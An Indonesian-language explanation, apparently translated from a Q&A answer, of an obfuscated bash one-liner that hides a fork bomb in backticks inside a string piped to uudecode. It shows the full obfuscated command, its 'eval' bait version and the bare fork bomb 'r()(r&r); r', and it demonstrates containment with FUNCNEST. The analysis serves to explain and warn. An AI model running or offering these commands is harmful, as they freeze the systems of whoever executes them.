Pertama, mari kita lihat seluruh perintah:
echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
Ini berisi string yang dikutip ganda yang digemakan uudecode
. Tapi, perhatikan bahwa, dalam string yang dikutip ganda adalah string yang dikutip kembali . String ini dieksekusi . String adalah:
`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`
Jika kita melihat apa yang ada di dalamnya, kita melihat tiga perintah:
rYWdl &
r()(Y29j & r{,3Rl7Ig} & r{,T31wo})
r
Melakukan ekspansi brace pada perintah tengah, kami memiliki:
rYWdl &
r()(Y29j & r r3Rl7Ig & r rT31wo)
r
Baris pertama mencoba menjalankan perintah nonsense di latar belakang. Ini tidak penting.
Baris kedua penting: ia mendefinisikan fungsi r
yang, ketika dijalankan, meluncurkan dua salinannya sendiri. Setiap salinan itu, tentu saja, akan meluncurkan dua salinan lagi. Dan seterusnya.
Baris ketiga berjalan r
, memulai bom fork.
Sisa kode, di luar string yang dikutip kembali, hanya omong kosong untuk kebingungan.
Cara menjalankan perintah dengan aman
Kode ini dapat dijalankan dengan aman jika kita menetapkan batas pada level fungsi nesting. Ini bisa dilakukan dengan FUNCNEST
variabel bash . Di sini, kami mengaturnya 2
dan ini menghentikan rekursi:
$ export FUNCNEST=2
$ echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode
bash: rYWdl: command not found
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
bash: r: maximum function nesting level exceeded (2)
bash: Y29j: command not found
uudecode fatal error:
standard input: Invalid or missing 'begin' line
Pesan kesalahan di atas menunjukkan bahwa (a) perintah omong kosong rYWdl
dan Y29j
tidak ditemukan, (b) bom fork berulang kali dihentikan oleh FUNCNEST, dan (c) output dari echo
tidak dimulai dengan begin
dan, akibatnya, bukan input yang valid untuk uudecode
.
Bom garpu dalam bentuknya yang paling sederhana
Akan seperti apa bentuk bom garpu jika kita menghilangkan penyembunyiannya? Seperti yang disarankan njzk2 dan gerrit, akan terlihat seperti:
echo "`r()(r&r);r`"
Kami dapat menyederhanakan itu lebih jauh:
r()(r&r); r
Itu terdiri dari dua pernyataan: satu mendefinisikan fungsi bom-garpu r
dan menjalankan kedua r
.
Semua kode lain, termasuk pipa untuk uudecode
, ada di sana hanya untuk penyembunyian dan penyesatan.
Bentuk aslinya memiliki lapisan penyesatan
OP telah memberikan tautan ke diskusi papan saluran tempat kode ini muncul. Seperti yang disajikan di sana, kode itu tampak seperti:
eval $(echo "I<RA('1E<W3t`rYWdl&r()(Y29j&r{,3Rl7Ig}&r{,T31wo});r`26<F]F;==" | uudecode)
Perhatikan salah satu komentar pertama tentang kode ini:
Aku jatuh cinta padanya. Disalin hanya bagian yang menggemakan dan menerjemahkan, tetapi masih harus forkbombed
Dalam formulir di papan chann, orang naif akan berpikir bahwa masalahnya adalah eval
pernyataan yang beroperasi pada output uudecode
. Ini akan membuat orang berpikir bahwa menghapus eval
akan menyelesaikan masalah. Seperti yang telah kita lihat di atas, ini salah dan sangat berbahaya.